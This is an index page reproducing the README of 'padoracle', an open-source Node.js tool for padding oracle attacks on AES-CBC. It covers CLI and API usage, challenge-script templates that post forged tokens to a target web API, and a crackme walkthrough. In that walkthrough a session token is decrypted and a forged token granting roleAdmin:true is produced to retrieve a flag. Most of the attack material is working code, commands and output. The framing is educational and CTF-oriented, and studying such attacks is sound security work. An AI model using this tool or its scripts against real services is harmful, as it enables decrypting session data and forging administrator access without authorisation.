Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/imyelo/padoracle
Padding Oracle Attack with Node.js
https://github.com/imyelo/padoracle
aes attack buster cbc exploit oracle pad padding padding-oracle-attacks pkcs7 pkcs7padding ssl tls
Last synced: about 1 month ago
JSON representation
Padding Oracle Attack with Node.js
- Host: GitHub
- URL: https://github.com/imyelo/padoracle
- Owner: imyelo
- Created: 2019-05-09T13:32:26.000Z (over 5 years ago)
- Default Branch: master
- Last Pushed: 2024-07-16T10:24:26.000Z (4 months ago)
- Last Synced: 2024-10-09T15:35:02.319Z (about 1 month ago)
- Topics: aes, attack, buster, cbc, exploit, oracle, pad, padding, padding-oracle-attacks, pkcs7, pkcs7padding, ssl, tls
- Language: JavaScript
- Homepage:
- Size: 718 KB
- Stars: 10
- Watchers: 3
- Forks: 4
- Open Issues: 0
-
Metadata Files:
- Readme: readme.md
- License: license
Awesome Lists containing this project
README
# Padoracle
> Padding Oracle Attack with Node.js[![Build Status](https://travis-ci.org/imyelo/padoracle.svg?branch=master)](https://travis-ci.org/imyelo/padoracle)
[![npm](https://img.shields.io/npm/v/padoracle.svg?style=flat-square)](https://www.npmjs.com/package/padoracle)
[![license](https://img.shields.io/npm/l/padoracle.svg?style=flat-square)](./LICENSE)
[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com)## Features
- :video_game: Friendly CLI
- :electric_plug: Powerful API
- :unlock: **Crack** plaintext, with just one set of known iv (initialization-vector) and ciphertext
- :lock_with_ink_pen: Generate iv and ciphertext with any **modified** plaintext you want
- :floppy_disk: Programmable challenge script
- :dancers: Ultra-fast cracking, with unlimited concurrency## CLI
### Installation
```bash
npm i -g padoracle
```### Usage
#### Crack-Mode
Crack plaintext with a set of known iv and ciphertext:```bash
padoracle --size 16 --iv-cipher
```#### Modify-Mode
Generate a set of iv and ciphertext with specific plaintext:
```bash
padoracle --size 16 --plain
```### Options
#### Common Options
- `challenge-script`
A script which sends the decryption challenge to the target system.- `--size, -s`
Size of each block (in bytes).
- `--help, -h`
Show the help text.#### Crack-Mode Options
- `--iv-cipher`An iv-cipher pair which can pass the padding check (with base64 encoded).
- `--concurrency, -c`
Concurrency, Infinity by default.
#### Modify-Mode Options
- `--plain, -p`Target plain text.
### Challenge Script
When using Padoracle, you always need a challenge-script, which is a straightforward [ESM](https://github.com/standard-things/esm) script.The challenge-script has to expose a default member, which is a function that accepts a set of iv and ciphertext, also returns `false` if decryption fails, otherwise `true`.
For example, in the most common scenario of attacking web applications, we can write a script like this:
```javascript
const got = require('got') // You need to install dependencies manually.const API = `http://somewebsite/someapi` // The API that invokes decryption.
const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.
const challenge = async (iv, cipher) => {
let response = await got.post(API, {
body: Buffer.concat([iv, cipher]).toString('base64'),
}).catch((error) => error.response)
if (response.body === DECRYPTION_ERROR) {
return false
}
return true
}export default challenge
```See more complete scripts in [the examples](./examples).
### Examples
Suppose there is a program to be attacked, which we call [the Crackme](./examples/0.node/crackme/index.js).The Crackme provides two API —— `welcome()` to get a default token and `auth(token)` to verify administrator privileges.
Tokens are values encoded in Base64 after concatenating iv and ciphertext.
By decrypting this ciphertext with **AES-256-CBC** algorithm and this iv, the Crackme will get a JSON serialized session, which also means that the size of each block in the plaintext, iv, and ciphertext is all **16** (256/16) bytes.When we have administrator privileges, `auth(token)` API will return a secret data (`{FLAG}`) to us. Otherwise, that will return nothing.
Also, if there is an exception while decrypting token, the Crackme will throw an error, which is just the characteristic of [the Padding Oracle vulnerability](https://en.wikipedia.org/wiki/Padding_oracle_attack).
**Our ultimate goal here is to get this secret data (`{FLAG}`).**
For example, with the `welcome()` API here, we always get the same token value `'UGFkT3JhY2xlOml2L2NiYyiFmLTj7lhu4mAJHakEqcIIoYU0lIUXKx+PmTaUHLV0'`,
which is concatenated by iv (``) and cipher (``) after base64 decoded.According to [the protocol](#challenge-script), we write a [challenge-script](./examples/0.node/challenge.js) accepts a set of iv and ciphertext, which returns `false` when decrypting failed, otherwise, return `true` no matter the final session is valid or not.
```javascript
const crackme = require('./crackme')const challenge = async (iv, cipher) => {
try {
await crackme.api.auth(Buffer.concat([iv, cipher]).toString('base64'))
} catch (error) {
return false
}
return true
}export default challenge
```Easy, huh?
Then we use our CLI tools to crack the plaintext that this iv-ciphertext encrypted.
```bash
padoracle ./examples/0.node/challenge.js --iv-cipher UGFkT3JhY2xlOml2L2NiYyiFmLTj7lhu4mAJHakEqcIIoYU0lIUXKx+PmTaUHLV0 --size 16
```In a few minutes later, we will get the result:
```
----- Block 0 -----
Intermediary (0) : 2b|43|0d|2b|50|5b|52|5c|55|16|4b|04|40|0f|07|22
--------------------
----- Block 1 -----
Intermediary (1) : 4c|e8|f1|da|c1|d4|3e|0f|8e|13|6c|60|ad|00|ad|c6
--------------------
--------------------
Plain text: {"id":100,"roleAdmin":false}
Plain text (hex): 7b226964223a3130302c22726f6c6541646d696e223a66616c73657d04040404
```Now we know that the default session is `{"id":100,"roleAdmin":false}`.
Based on the structure of this session, we can determine that the next goal is to set the value of `roleAdmin` to `true`, such as `{"roleAdmin":true}`.
So, let's do it:
```bash
padoracle ./examples/0.node/challenge.js --size 16 --plain "{\"roleAdmin\":true}"
```In a few minutes later again, we will get the result:
```
IV (hex): ff291b394b7c56f3f964d3cf2fad0dbb
Cipher (hex): ecacc85b787f9777864b39fff50d5314ffffffffffffffffffffffffffffffff
IV-Cipher (base64): /ykbOUt8VvP5ZNPPL60Nu+ysyFt4f5d3hks5//UNUxT/////////////////////
```Let's verify the results. Create a [`flag.js`](./examples/0.node/flag.js):
```javascript
const crackme = require('./crackme')const TOKEN = '/ykbOUt8VvP5ZNPPL60Nu+ysyFt4f5d3hks5//UNUxT/////////////////////'
;(async () => {
let result = await crackme.api.auth(TOKEN)
console.log(result)
})()
```Run it:
```bash
node ./examples/0.node/flag.js
# {FLAG}
```We did it! :tada:
See [more examples](./examples).
## API
### Installation
```bash
npm i --save padoracle
```### Usage
Crack plaintext with a set of known iv and ciphertext:```javascript
const Cracker = require('padoracle')
const pkcs7 = require('pkcs7')
const got = require('got')const API = `http://somewebsite/someapi` // The API that invokes decryption.
const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.const challenge = async (iv, cipher) => {
let response = await got.post(API, {
body: Buffer.concat([iv, cipher]).toString('base64'),
}).catch((error) => error.response)
if (response.body === DECRYPTION_ERROR) {
return false
}
return true
}const iv = Buffer.from('5061644f7261636c653a69762f636263', 'hex')
const cipher = Buffer.from('288598b4e3ee586ee260091da904a9c208a185349485172b1f8f9936941cb574', 'hex')let result, plain
let cracker = new Cracker()
result = await cracker.crack(iv, cipher, challenge)
plain = pkcs7.unpad(result.plain).toString()console.log(plain)
```Generate a set of iv and ciphertext with specific plaintext:
```javascript
const Cracker = require('padoracle')
const got = require('got')const API = `http://somewebsite/someapi` // The API that invokes decryption.
const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.const challenge = async (iv, cipher) => {
let response = await got.post(API, {
body: Buffer.concat([iv, cipher]).toString('base64'),
}).catch((error) => error.response)
if (response.body === DECRYPTION_ERROR) {
return false
}
return true
}const target = '{"roleAdmin":true}'
const size = 16let cracker = new Cracker()
let { iv, cipher } = await cracker.modify(target, size, challenge)
console.log(iv, cipher)
```See more examples in [tests](./test) .
### Cracker
- Cracker#crack(iv, cipher, challenge)
- return `{ intermediary, plain }`
- Cracker#modify(target, size, challenge)
- return `{ iv, cipher }`
- Cracker#broadcast## References
- [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack)
- [DDCTF 2019 Web 8](https://yelo.cc/2019/04/17/ddctf-2019-writeups-web-8.html)## License
[Apache-2.0](./license) © [yelo](https://github.com/imyelo)